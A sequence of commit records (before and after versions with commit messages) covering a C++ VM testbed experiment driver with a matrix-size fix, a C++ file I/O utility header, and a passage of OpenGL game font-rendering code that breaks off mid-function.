sysid_strategy_pointer p_sysid_alg = boost::make_shared< testbed::rls_ff_arx_miso_proxy<traits_type> >(na, nb, nk, ny, nu, ff);
ublas::diagonal_matrix<real_type> Q(ny);
ublas::diagonal_matrix<real_type> R(nu);
testbed::lqry_application_manager<traits_type> lqry_mgr(Q, R);
lqry_mgr.sysid_strategy(p_sysid_alg);
lqry_mgr.target_value(testbed::response_time_application_performance, 0.1034);
p_mgr = boost::make_shared< testbed::lqry_application_manager<traits_type> >(lqry_mgr);
p_mgr->sampling_time(static_cast<uint_type>(ts));
p_mgr->control_time(3*p_mgr->sampling_time());
}
p_mgr->app(p_app);
// Add to main experiment
sys_exp.add_app(p_app, p_drv, p_mgr);
//sys_exp.logger(...);
//sys_exp.output_data_file(out_dat_file);
sys_exp.run();
}
catch (std::exception const& e)
{
ret = 1;
dcs::log_error(DCS_LOGGING_AT, e.what());
}
catch (...)
{
ret = 1;
dcs::log_error(DCS_LOGGING_AT, "Unknown error");
}
return ret;
}
<commit_msg>(bug-fix:minor) Wrong size for the R matrix.<commit_after>/**
* \file sysexp.hpp
*
* \brief Driver for performing system experiments
*
* \author Marco Guazzone (marco.guazzone@gmail.com)
*
* <hr/>
*
* Copyright (C) 2012 Marco Guazzone
* [Distributed Computing System (DCS) Group,
* Computer Science Institute,
* Department of Science and Technological Innovation,
* University of Piemonte Orientale,
* Alessandria (Italy)]
*
* This file is part of dcsxx-testbed.
*
* dcsxx-testbed is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* dcsxx-testbed is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with dcsxx-testbed. If not, see <http://www.gnu.org/licenses/>.
*/
#include <boost/numeric/ublas/banded.hpp>
#include <boost/smart_ptr.hpp>
#include <cstddef>
#include <cstdlib>
#include <cstring>
#include <dcs/cli.hpp>
#include <dcs/debug.hpp>
#include <dcs/logging.hpp>
#include <dcs/math/traits/float.hpp>
#include <dcs/testbed/application.hpp>
#include <dcs/testbed/application_managers.hpp>
#include <dcs/testbed/base_application.hpp>
#include <dcs/testbed/system_experiment.hpp>
#include <dcs/testbed/system_identification_strategies.hpp>
//#include <dcs/testbed/system_managers.hpp>
#include <dcs/testbed/traits.hpp>
#include <dcs/testbed/virtual_machine_managers.hpp>
#include <dcs/testbed/virtual_machines.hpp>
#include <dcs/testbed/workload_category.hpp>
#include <dcs/testbed/workload_drivers.hpp>
#include <dcs/testbed/workload_generator_category.hpp>
#include <iostream>
#include <limits>
#include <sstream>
#include <string>
#include <stdexcept>
#include <vector>
namespace detail { namespace /*<unnamed>*/ {
//enum aggregation_category
//{
// mean_aggregation
//};
const dcs::testbed::workload_category default_workload(dcs::testbed::olio_workload);
const dcs::testbed::workload_generator_category default_workload_driver(dcs::testbed::rain_workload_generator);
const ::std::string default_workload_driver_rain_path("/usr/local/opt/rain-workload-toolkit");
const ::std::string default_out_dat_file("./sysmgt-out.dat");
const double default_sampling_time(10);
const double default_ewma_smooth_factor(0.9);
void usage(char const* progname)
{
::std::cerr << "Usage: " << progname << " [options]" << ::std::endl
<< " --help" << ::std::endl
<< " Show this message." << ::std::endl
<< " --out-dat-file <file path>" << ::std::endl
<< " The path to the output data file." << ::std::endl
<< " [default: '" << default_out_dat_file << "']." << ::std::endl
<< " --ts <time in secs>" << ::std::endl
<< " Sampling time (in seconds)." << ::std::endl
<< " [default: " << default_sampling_time << "]." << ::std::endl
<< " --verbose" << ::std::endl
<< " Show verbose messages." << ::std::endl
<< " [default: disabled]." << ::std::endl
<< " --vm-uri <URI>" << ::std::endl
<< " The VM URI to connect." << ::std::endl
<< " Repeat this option as many times as is the number of your VMs."
<< " --wkl <name>" << ::std::endl
<< " The workload to generate. Possible values are: 'olio', 'rubis'." << ::std::endl
<< " [default: '" << default_workload << "']." << ::std::endl
<< " --wkl-driver <name>" << ::std::endl
<< " The workload driver to use. Possible values are: 'rain'." << ::std::endl
<< " [default: '" << default_workload_driver << "']." << ::std::endl
<< " --wkl-driver-rain-path <name>" << ::std::endl
<< " The full path to the RAIN workload driver." << ::std::endl
<< " [default: '" << default_workload_driver_rain_path << "']." << ::std::endl
<< ::std::endl;
}
template <typename RealT>
struct rt_slo_checker
{
rt_slo_checker(RealT max_val, RealT rel_tol=0.05)
: max_val_(max_val),
check_val_(max_val_*(1+rel_tol))
{
}
bool operator()(RealT val)
{
return ::dcs::math::float_traits<RealT>::approximately_less_equal(val, check_val_);
}
private: RealT max_val_;
private: RealT check_val_;
};
}} // Namespace detail::<unnamed>
int main(int argc, char *argv[])
{
namespace testbed = ::dcs::testbed;
namespace ublas = ::boost::numeric::ublas;
typedef double real_type;
typedef unsigned int uint_type;
typedef testbed::traits<real_type,uint_type> traits_type;
bool help(false);
std::string out_dat_file;
real_type ts;
bool verbose(false);
testbed::workload_category wkl;
testbed::workload_generator_category wkl_driver;
std::string wkl_driver_rain_path;
std::vector<std::string> vm_uris;
// Parse command line options
try
{
help = dcs::cli::simple::get_option(argv, argv+argc, "--help");
out_dat_file = dcs::cli::simple::get_option<std::string>(argv, argv+argc, "--out-dat-file", detail::default_out_dat_file);
ts = dcs::cli::simple::get_option<real_type>(argv, argv+argc, "--ts", detail::default_sampling_time);
verbose = dcs::cli::simple::get_option(argv, argv+argc, "--verbose");
vm_uris = dcs::cli::simple::get_options<std::string>(argv, argv+argc, "--vm-uri");
wkl = dcs::cli::simple::get_option<testbed::workload_category>(argv, argv+argc, "--wkl", detail::default_workload);
wkl_driver = dcs::cli::simple::get_option<testbed::workload_generator_category>(argv, argv+argc, "--wkl-driver", detail::default_workload_driver);
wkl_driver_rain_path = dcs::cli::simple::get_option<std::string>(argv, argv+argc, "--wkl-driver-rain-path", detail::default_workload_driver_rain_path);
}
catch (std::exception const& e)
{
std::ostringstream oss;
oss << "Error while parsing command-line options: " << e.what();
dcs::log_error(DCS_LOGGING_AT, oss.str());
detail::usage(argv[0]);
std::abort();
return EXIT_FAILURE;
}
if (help)
{
detail::usage(argv[0]);
return EXIT_SUCCESS;
}
int ret(0);
if (verbose)
{
std::ostringstream oss;
for (std::size_t i = 0; i < vm_uris.size(); ++i)
{
if (i > 0)
{
oss << ", ";
}
oss << "VM URI: " << vm_uris[i];
}
dcs::log_info(DCS_LOGGING_AT, oss.str());
oss.str("");
oss << "Output data file: " << out_dat_file;
dcs::log_info(DCS_LOGGING_AT, oss.str());
oss.str("");
oss << "Sampling time: " << ts;
dcs::log_info(DCS_LOGGING_AT, oss.str());
oss.str("");
oss << "Workload: " << wkl;
dcs::log_info(DCS_LOGGING_AT, oss.str());
oss.str("");
oss << "Workload driver: " << wkl_driver;
dcs::log_info(DCS_LOGGING_AT, oss.str());
oss.str("");
oss << "Workload driver RAIN path: " << wkl_driver_rain_path;
dcs::log_info(DCS_LOGGING_AT, oss.str());
oss.str("");
}
typedef testbed::base_virtual_machine<traits_type> vm_type;
typedef boost::shared_ptr<vm_type> vm_pointer;
typedef vm_type::identifier_type vm_identifier_type;
typedef testbed::base_virtual_machine_manager<traits_type> vmm_type;
typedef boost::shared_ptr<vmm_type> vmm_pointer;
typedef vmm_type::identifier_type vmm_identifier_type;
typedef testbed::base_application<traits_type> app_type;
typedef boost::shared_ptr<app_type> app_pointer;
typedef testbed::base_application_manager<traits_type> app_manager_type;
typedef boost::shared_ptr<app_manager_type> app_manager_pointer;
typedef testbed::base_workload_driver<traits_type> app_driver_type;
typedef boost::shared_ptr<app_driver_type> app_driver_pointer;
typedef testbed::base_arx_system_identification_strategy<traits_type> sysid_strategy_type;
typedef boost::shared_ptr<sysid_strategy_type> sysid_strategy_pointer;
try
{
const std::size_t nt(vm_uris.size()); // Number of tiers
testbed::system_experiment<traits_type> sys_exp;
// Setup application experiment
// - Setup application (and VMs)
std::map<vmm_identifier_type,vmm_pointer> vmm_map;
std::vector<vm_pointer> vms;
std::vector<std::string>::const_iterator uri_end_it(vm_uris.end());
for (std::vector<std::string>::const_iterator it = vm_uris.begin();
it != uri_end_it;
++it)
{
std::string const& uri(*it);
vmm_pointer p_vmm;
if (!vmm_map.count(uri) > 0)
{
p_vmm = boost::make_shared< testbed::libvirt::virtual_machine_manager<traits_type> >(uri);
vmm_map[uri] = p_vmm;
}
else
{
p_vmm = vmm_map.at(uri);
}
vm_pointer p_vm(p_vmm->vm(uri));
// check: p_vm != null
DCS_DEBUG_ASSERT( p_vm );
vms.push_back(p_vm);
}
app_pointer p_app = boost::make_shared< testbed::application<traits_type> >(vms.begin(), vms.end());
p_app->slo(testbed::response_time_application_performance, detail::rt_slo_checker<real_type>(0.2870));
// - Setup workload driver
app_driver_pointer p_drv;
switch (wkl_driver)
{
case testbed::rain_workload_generator:
{
boost::shared_ptr< testbed::rain::workload_driver<traits_type> > p_drv_impl = boost::make_shared< testbed::rain::workload_driver<traits_type> >(wkl, wkl_driver_rain_path);
p_app->register_sensor(testbed::response_time_application_performance, p_drv_impl->sensor(testbed::response_time_application_performance));
//p_drv = boost::make_shared< testbed::rain::workload_driver<traits_type> >(drv_impl);
p_drv = p_drv_impl;
}
break;
}
p_drv->app(p_app);
// - Setup application manager
app_manager_pointer p_mgr;
//p_mgr = boost::make_shared< testbed::lqry_application_manager<traits_type> >();
{
const std::size_t na(2);
const std::size_t nb(2);
const std::size_t nk(1);
const std::size_t ny(1);
const std::size_t nu(nt);
const real_type ff(0.98);
sysid_strategy_pointer p_sysid_alg = boost::make_shared< testbed::rls_ff_arx_miso_proxy<traits_type> >(na, nb, nk, ny, nu, ff);
ublas::diagonal_matrix<real_type> Q(ny);
ublas::diagonal_matrix<real_type> R(nu*nb);
testbed::lqry_application_manager<traits_type> lqry_mgr(Q, R);
lqry_mgr.sysid_strategy(p_sysid_alg);
lqry_mgr.target_value(testbed::response_time_application_performance, 0.1034);
p_mgr = boost::make_shared< testbed::lqry_application_manager<traits_type> >(lqry_mgr);
p_mgr->sampling_time(static_cast<uint_type>(ts));
p_mgr->control_time(3*p_mgr->sampling_time());
}
p_mgr->app(p_app);
// Add to main experiment
sys_exp.add_app(p_app, p_drv, p_mgr);
//sys_exp.logger(...);
//sys_exp.output_data_file(out_dat_file);
sys_exp.run();
}
catch (std::exception const& e)
{
ret = 1;
dcs::log_error(DCS_LOGGING_AT, e.what());
}
catch (...)
{
ret = 1;
dcs::log_error(DCS_LOGGING_AT, "Unknown error");
}
return ret;
}
<|endoftext|> |
<commit_before>/*
The MIT License (MIT)
Copyright (c) 2019 Daniel Illescas Romero <https://github.com/illescasDaniel>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#pragma once
#include <optional>
#include <fstream>
#include <string>
#include <stdexcept>
#include <memory>
namespace evt {
class BaseFileIO {
public:
struct OpenCloseException : public std::runtime_error {
OpenCloseException() :runtime_error("error") {}
OpenCloseException(const std::string& message) :runtime_error(message.c_str()) {}
};
protected:
std::fstream fileStream;
std::ios_base::openmode inputOutputMode;
std::string fileName_;
void open(const std::ios_base::openmode inputOutputMode) noexcept(false) {
if (this->inputOutputMode == inputOutputMode) {
return;
}
close();
this->inputOutputMode = inputOutputMode;
fileStream.open(fileName_, inputOutputMode);
if (fileStream.fail()) {
throw OpenCloseException("File couldn't be open");
}
}
BaseFileIO(const std::string& fileName) {
this->fileName_ = fileName;
}
public:
static bool exists(const std::string& filePath) {
std::ifstream file(filePath);
return !file.fail();
}
void seekInputPosition(std::size_t offsetPosition, std::ios_base::seekdir position = std::ios::beg) {
fileStream.seekg(offsetPosition, position);
}
void open(const std::string& fileName) {
this->fileName_ = fileName;
this->close();
}
bool endOfFile() const {
return fileStream.eof();
}
std::string fileName() const noexcept {
return fileName_;
}
/// Optional to use, the class automatically closes the file
void close() {
if (fileStream.is_open()) {
fileStream.close();
}
}
~BaseFileIO() {
close();
}
};
class BinaryFileIO : public BaseFileIO {
public:
BinaryFileIO(const std::string& fileName) : BaseFileIO(fileName) {}
template <typename Type>
void write(Type&& content, bool appendContent = true) {
if (appendContent) {
open(std::ios::binary | std::ios::out | std::ios::in | std::ios::app);
}
else { open(std::ios::binary | std::ios::out | std::ios::in | std::ios::trunc); }
if constexpr (!std::is_same<Type, std::string>()) {
fileStream.write(reinterpret_cast<char*>(&content), sizeof(content));
}
else {
fileStream.write(content.c_str(), content.length());
}
}
template <typename Type, typename = typename std::enable_if<!std::is_same<Type, std::string>::value>::type>
Type readWithOffset(std::size_t offset) {
Type readInput{};
open(std::ios::in | std::ios::binary);
if (offset > 0) {
seekPosition(offset);
}
fileStream.read(reinterpret_cast<char*>(&readInput), sizeof(readInput));
return readInput;
}
template <typename Type, typename = typename std::enable_if<!std::is_same<Type, std::string>::value>::type>
Type read() {
return readWithOffset<Type>(0);
}
template <typename Type, typename = typename std::enable_if<std::is_same<Type, std::string>::value>::type>
Type readWithOffset(std::size_t size, std::size_t offset) {
std::string readContent;
open(std::ios::in);
if (offset > 0) {
seekInputPosition(offset);
}
fileStream >> readContent;
return readContent;
/*open(std::ios::in | std::ios::binary);
std::unique_ptr<char> readTextChar(new char[size+1]);
if (offset > 0) {
seekPosition(offset);
}
fileStream.read(readTextChar.get(), size+1);*/
//std::string output = readTextChar.get();
//output[size] = '\0';
//std::cout << output[size] << std::endl;
//return output;
}
template <typename Type, typename = typename std::enable_if<std::is_same<Type, std::string>::value>::type>
Type read(std::size_t size) {
return readWithOffset<Type>(size, 0);
}
void seekPosition(std::size_t offsetPosition, std::ios_base::seekdir position = std::ios::beg) {
fileStream.seekp(offsetPosition, position);
}
};
class PlainTextFileIO : private BaseFileIO {
public:
PlainTextFileIO(const std::string& fileName) : BaseFileIO(fileName) {}
template <typename Type>
void write(const Type& contentToWrite, bool appendContent = true) {
if (appendContent) { open(std::ios::out | std::ios::in | std::ios::app); }
else { open(std::ios::out | std::ios::in | std::ios::trunc); }
fileStream << contentToWrite;
}
/// Reads text content word by word
std::string readWithOffset(std::size_t offset = 0) {
std::string readContent;
open(std::ios::in);
if (offset > 0) {
seekInputPosition(offset);
}
fileStream >> readContent;
return readContent;
}
/// Reads text content word by word
std::string read() {
return readWithOffset(0);
}
std::string getline() {
std::string s;
open(std::ios::in);
std::getline(fileStream, s);
return s;
}
std::optional<std::string> safeRead() {
std::string readContent;
open(std::ios::in);
fileStream >> readContent;
if ((fileStream.eof() && readContent.empty()) || fileStream.fail()) {
return std::nullopt;
}
return readContent;
}
std::optional<std::string> safeGetline() {
std::string s;
open(std::ios::in);
std::getline(fileStream, s);
if ((fileStream.eof() && s.empty()) || fileStream.fail()) {
return std::nullopt;
}
return s;
}
std::string toString() {
this->open(std::ios::in);
std::string line;
std::string outputContent;
while (std::getline(fileStream, line)) {
outputContent += line + '\n';
}
return outputContent;
}
static std::string toString(const std::string& fileName) {
return PlainTextFileIO(fileName).toString();
}
static void saveTextTo(const std::string& fileName, const std::string& text) {
PlainTextFileIO fileToWrite(fileName);
fileToWrite.open(std::ios::out);
fileToWrite.write(text);
}
};
struct FileIO {
static PlainTextFileIO plainText(const std::string& fileName) {
return PlainTextFileIO(fileName);
}
static BinaryFileIO binary(const std::string& fileName) {
return BinaryFileIO(fileName);
}
};
}
<commit_msg>updated<commit_after>/*
The MIT License (MIT)
Copyright (c) 2019 Daniel Illescas Romero <https://github.com/illescasDaniel>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#pragma once
#include <optional>
#include <fstream>
#include <string>
#include <stdexcept>
#include <memory>
namespace evt {
class BaseFileIO {
public:
struct OpenCloseException : public std::runtime_error {
OpenCloseException() :runtime_error("error") {}
OpenCloseException(const std::string& message) :runtime_error(message.c_str()) {}
};
protected:
std::fstream fileStream;
std::ios_base::openmode inputOutputMode;
std::string fileName_;
void open(const std::ios_base::openmode inputOutputMode) noexcept(false) {
if (this->inputOutputMode == inputOutputMode) {
return;
}
close();
this->inputOutputMode = inputOutputMode;
fileStream.open(fileName_, inputOutputMode);
if (fileStream.fail()) {
throw OpenCloseException("File couldn't be open");
}
}
BaseFileIO(const std::string& fileName) {
this->fileName_ = fileName;
}
public:
static bool exists(const std::string& filePath) {
std::ifstream file(filePath);
return !file.fail();
}
void seekInputPosition(std::size_t offsetPosition, std::ios_base::seekdir position = std::ios::beg) {
fileStream.seekg(offsetPosition, position);
}
void open(const std::string& fileName) {
this->fileName_ = fileName;
this->close();
}
bool endOfFile() const {
return fileStream.eof();
}
std::string fileName() const noexcept {
return fileName_;
}
/// Optional to use, the class automatically closes the file
void close() {
if (fileStream.is_open()) {
fileStream.close();
}
}
~BaseFileIO() {
close();
}
};
class BinaryFileIO : public BaseFileIO {
public:
BinaryFileIO(const std::string& fileName) : BaseFileIO(fileName) {}
template <typename Type>
void write(Type&& content, bool appendContent = true) {
if (appendContent) {
open(std::ios::binary | std::ios::out | std::ios::in | std::ios::app);
}
else { open(std::ios::binary | std::ios::out | std::ios::in | std::ios::trunc); }
if constexpr (!std::is_same<Type, std::string>()) {
fileStream.write(reinterpret_cast<char*>(&content), sizeof(content));
}
else {
fileStream.write(content.c_str(), content.length());
}
}
template <typename Type, typename = typename std::enable_if<!std::is_same<Type, std::string>::value>::type>
Type readWithOffset(std::size_t offset) {
Type readInput{};
open(std::ios::in | std::ios::binary);
if (offset > 0) {
seekPosition(offset);
}
fileStream.read(reinterpret_cast<char*>(&readInput), sizeof(readInput));
return readInput;
}
template <typename Type, typename = typename std::enable_if<!std::is_same<Type, std::string>::value>::type>
Type read() {
return readWithOffset<Type>(0);
}
template <typename Type, typename = typename std::enable_if<std::is_same<Type, std::string>::value>::type>
Type readWithOffset(std::size_t size, std::size_t offset) {
std::string readContent;
open(std::ios::in);
if (offset > 0) {
seekInputPosition(offset);
}
fileStream >> readContent;
return readContent;
}
template <typename Type, typename = typename std::enable_if<std::is_same<Type, std::string>::value>::type>
Type read(std::size_t size) {
return readWithOffset<Type>(size, 0);
}
void seekPosition(std::size_t offsetPosition, std::ios_base::seekdir position = std::ios::beg) {
fileStream.seekp(offsetPosition, position);
}
};
class PlainTextFileIO : private BaseFileIO {
public:
PlainTextFileIO(const std::string& fileName) : BaseFileIO(fileName) {}
template <typename Type>
void write(const Type& contentToWrite, bool appendContent = true) {
if (appendContent) { open(std::ios::out | std::ios::in | std::ios::app); }
else { open(std::ios::out | std::ios::in | std::ios::trunc); }
fileStream << contentToWrite;
}
/// Reads text content word by word
std::string readWithOffset(std::size_t offset = 0) {
std::string readContent;
open(std::ios::in);
if (offset > 0) {
seekInputPosition(offset);
}
fileStream >> readContent;
return readContent;
}
/// Reads text content word by word
std::string read() {
return readWithOffset(0);
}
std::string getline() {
std::string s;
open(std::ios::in);
std::getline(fileStream, s);
return s;
}
std::optional<std::string> safeRead() {
std::string readContent;
open(std::ios::in);
fileStream >> readContent;
if ((fileStream.eof() && readContent.empty()) || fileStream.fail()) {
return std::nullopt;
}
return readContent;
}
std::optional<std::string> safeGetline() {
std::string s;
open(std::ios::in);
std::getline(fileStream, s);
if ((fileStream.eof() && s.empty()) || fileStream.fail()) {
return std::nullopt;
}
return s;
}
std::string toString() {
this->open(std::ios::in);
std::string line;
std::string outputContent;
while (std::getline(fileStream, line)) {
outputContent += line + '\n';
}
return outputContent;
}
static std::string toString(const std::string& fileName) {
return PlainTextFileIO(fileName).toString();
}
static void saveTextTo(const std::string& fileName, const std::string& text) {
PlainTextFileIO fileToWrite(fileName);
fileToWrite.open(std::ios::out);
fileToWrite.write(text);
}
};
struct FileIO {
static PlainTextFileIO plainText(const std::string& fileName) {
return PlainTextFileIO(fileName);
}
static BinaryFileIO binary(const std::string& fileName) {
return BinaryFileIO(fileName);
}
};
}
<|endoftext|> |
<commit_before>internal void LoadCharacter(s16 CharacterOffset, u8 * FileBuffer, u8 * TextureBuffer, int XOffset, int YOffset, int Height, int TextureWidth)
{
if(CharacterOffset ==0)
return;
int Width = * (FileBuffer + CharacterOffset );
if(Width == 0)
return;
u8 * ImageData = (FileBuffer + CharacterOffset + 1);
int ByteOffset = 0, X =0, Y=0;
while(Y< Height)
{
for(int i=7;i>=0;i--)
{
int bit = ImageData[ByteOffset]&(1<<i);
TextureBuffer[(XOffset+X + (Y+YOffset)*TextureWidth)*4+0] = 255;
TextureBuffer[(XOffset+X + (Y+YOffset)*TextureWidth)*4+1] = 255;
TextureBuffer[(XOffset+X + (Y+YOffset)*TextureWidth)*4+2] = 255;
TextureBuffer[(XOffset+X + (Y+YOffset)*TextureWidth)*4+3] = bit?(u8)255:(u8)0;
X++;
if(X>=Width)
{
X=0;
Y++;
if(Y>=Height)
break;
}
}
ByteOffset++;
}
}
internal void LoadFNTFont(u8 * Buffer, FNTFont * Font, MemoryArena * TempArena)
{
FILE_FNT * Header = (FILE_FNT*)Buffer;
Font->Height = Header->Height;
int TextureWidth = 0;
for(int i=0;i<255;i++)
{
Font->Characters[i] = {};
if( Header->CharacterOffset[i])
{
Font->Characters[i].Width= *( Buffer + Header->CharacterOffset[i]);
TextureWidth += Font->Characters[i].Width;
}
}
u8 * TextureData = PushArray(TempArena, TextureWidth*Font->Height*4, u8 );
int XOffset = 0;
for(int i=0;i<254;i++)
{
LoadCharacter(Header->CharacterOffset[i] ,Buffer, TextureData, XOffset, 0, Header->Height, TextureWidth);
Font->Characters[i].U=XOffset/(float)TextureWidth;
Font->Characters[i].TextureWidth = Font->Characters[i].Width/(float)TextureWidth;
XOffset += Font->Characters[i].Width;
}
glGenTextures(1,&Font->Texture);
glBindTexture(GL_TEXTURE_2D,Font->Texture);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA,TextureWidth,Font->Height,0, GL_RGBA, GL_UNSIGNED_BYTE, TextureData);
PopArray(TempArena, TextureData,TextureWidth*Font->Height*4, u8 );
}
internal void SetupFontRendering(GLuint * Draw2DVertexBuffer)
{
GLfloat RenderData[6*(2+2)];//6 Vert (2 triangles) each 2 position coords and 2 texture coords
glGenVertexArrays(1,Draw2DVertexBuffer);
GLfloat Vertices[]={0,0, 1,0, 1,1, 0,1};
int Indexes1[]={0,3,1};
for(int i=0;i<3;i++)
{
RenderData[i*(2+2)+0]=Vertices[Indexes1[i]*2+0];
RenderData[i*(2+2)+1]=Vertices[Indexes1[i]*2+1];
RenderData[i*(2+2)+2]=Vertices[Indexes1[i]*2+0];
RenderData[i*(2+2)+3]=Vertices[Indexes1[i]*2+1];
}
int Indexes2[]={1,3,2};
for(int i=0;i<3;i++)
{
RenderData[(i+3)*(2+2)+0]=Vertices[Indexes2[i]*2+0];
RenderData[(i+3)*(2+2)+1]=Vertices[Indexes2[i]*2+1];
RenderData[(i+3)*(2+2)+2]=Vertices[Indexes2[i]*2+0];
RenderData[(i+3)*(2+2)+3]=Vertices[Indexes2[i]*2+1];
}
glBindVertexArray(*Draw2DVertexBuffer);
GLuint VertexBuffer;
glGenBuffers(1,&VertexBuffer);
glBindBuffer(GL_ARRAY_BUFFER,VertexBuffer);
glBufferData(GL_ARRAY_BUFFER,sizeof(GLfloat)*6*(2+2),RenderData,GL_STATIC_DRAW);
glVertexAttribPointer(0,2,GL_FLOAT,GL_FALSE,sizeof(GLfloat)*4,0);
glVertexAttribPointer(1,2,GL_FLOAT,GL_FALSE,sizeof(GLfloat)*4,(void*)(sizeof(GLfloat)*2));
glEnableVertexAttribArray(0);
glEnableVertexAttribArray(1);
glBindVertexArray(0);
}
internal void LoadGafFonts(GameState * CurrentGameState)
{
SetupTextureContainer(&CurrentGameState->Font11, 2120, 15, 256, &CurrentGameState->GameArena);
SetupTextureContainer(&CurrentGameState->Font12, 2880, 18, 256, &CurrentGameState->GameArena);
HPIEntry Font = FindEntryInAllFiles("anims/hattfont12.GAF",&CurrentGameState->GlobalArchiveCollection, &CurrentGameState->TempArena);
if(Font.IsDirectory)
{
LogError("Unexpectedly found a directory while trying to load hatfont12.gaf");
}
else
{
LoadAllTexturesFromHPIEntry(&Font, &CurrentGameState->Font12, &CurrentGameState->TempArena, CurrentGameState->PaletteData);
}
Font = FindEntryInAllFiles("anims/hattfont11.GAF", &CurrentGameState->GlobalArchiveCollection, &CurrentGameState->TempArena);
if(Font.IsDirectory)
{
LogError("Unexpectedly found a directory while trying to load hatfont11.gaf");
}
else
{
LoadAllTexturesFromHPIEntry(&Font, &CurrentGameState->Font11, &CurrentGameState->TempArena, CurrentGameState->PaletteData);
}
}
internal void DrawBitmapCharacter(u8 Character, Texture2DShaderDetails * ShaderDetails, TextureContainer * TextureContainer, float X, float Y, Color Color, float Alpha, int * oWidth, int *oHeight)
{
Texture * tex = GetTexture(&TextureContainer->Textures[0], Character);
float Width = tex->Width * TextureContainer->TextureWidth;
float Height = tex->Height * TextureContainer->TextureHeight;
*oWidth = (int)ceil(Width);
*oHeight = (int)ceil(Height);
float U = tex->U;
float V = tex->V;
DrawTexture2D(TextureContainer->Texture, X, Y-Height, Width, Height, Color, Alpha, ShaderDetails, U, V, tex->Width, tex->Height);
}
internal int FontHeightInPixels(const char * Text, TextureContainer * Font)
{
int Result =0;
u8 * Char = (u8*)Text;
while(*Char)
{
Texture * tex = GetTexture(&Font->Textures[0], *Char);
float CharHeight = tex->Height;
int CharHeightInPixels = int(CharHeight * Font->TextureHeight);
if(Result<CharHeightInPixels)
{
Result = CharHeightInPixels;
}
Char++;
}
return Result;
}
struct FontDimensions
{
s32 Width;
s32 Height;
};
internal FontDimensions TextSizeInPixels(const char * Text, TextureContainer * Font)
{
FontDimensions Result = {};
u8 * Char = (u8*)Text;
Texture * Textures = &Font->Textures[0];
int MaxHeight = 0;
int CurrentWidth = 0;
while(*Char)
{
float CharHeight = Textures[*Char].Height;
int CharHeightInPixels = int(CharHeight * Font->TextureHeight);
float CharWidth = Textures[*Char].Width;
int CharWidthInPixels = int(CharWidth * Font->TextureWidth);
if(*Char == '\n')
{
Result.Height += MaxHeight;
if(Result.Width < CurrentWidth)
{
Result.Width = CurrentWidth;
}
MaxHeight =0;
CurrentWidth=0;
}
else
{
if(MaxHeight < CharHeightInPixels)
{
MaxHeight = CharHeightInPixels;
}
CurrentWidth += CharWidthInPixels;
}
Char++;
}
if(CurrentWidth != 0 || MaxHeight != 0)
{
Result.Height += MaxHeight;
if(Result.Width < CurrentWidth)
{
Result.Width = CurrentWidth;
}
}
return Result;
}
internal void DrawTextureFontText(const char * Text, int InitialX, int InitialY, TextureContainer * Font, Texture2DShaderDetails * ShaderDetails, float Alpha = 1.0, Color Color ={{1,1,1}})
{
int TextHeight = FontHeightInPixels(Text, Font);
u8* Char = (u8*)Text;
int X =InitialX, Y=InitialY;
while(*Char)
{
Texture * tex = GetTexture(&Font->Textures[0], *Char);
float CharWidth = tex->Width;
float CharHeight = tex->Height;
float U = tex->U, V = tex->V;
int CharWidthInPixels = int(CharWidth * Font->TextureWidth);
int CharHeightInPixels = int(CharHeight * Font->TextureHeight);
if(*Char > ' ')
{
DrawTexture2D(Font->Texture,(float) X, float(Y-tex->Y+TextHeight), float(CharWidthInPixels), float(CharHeightInPixels), Color, Alpha, ShaderDetails, U, V, CharWidth, CharHeight);
}
if(*Char == '\n' || *Char == '\r')
{
X=InitialX;
Y+=TextHeight;
}
else
{
X+=CharWidthInPixels;
}
Char++;
}
}
internal FNTFont * GetFont(FontContainer * FontContainer, const char * Name, HPIFileCollection * FileCollection, MemoryArena * TempArena)
{
for(int i=0;i<FontContainer->NumberOfFonts;i++)
{
if(CaseInsensitiveMatch(FontContainer->FontNames[i],Name))
{
return &FontContainer->Fonts[i];
}
}
char FontName[74];
size_t len=strlen(Name)+1;
if(len>63)
len=63;
memcpy(&FontName[6], Name, len);
FontName[len+9]=0;
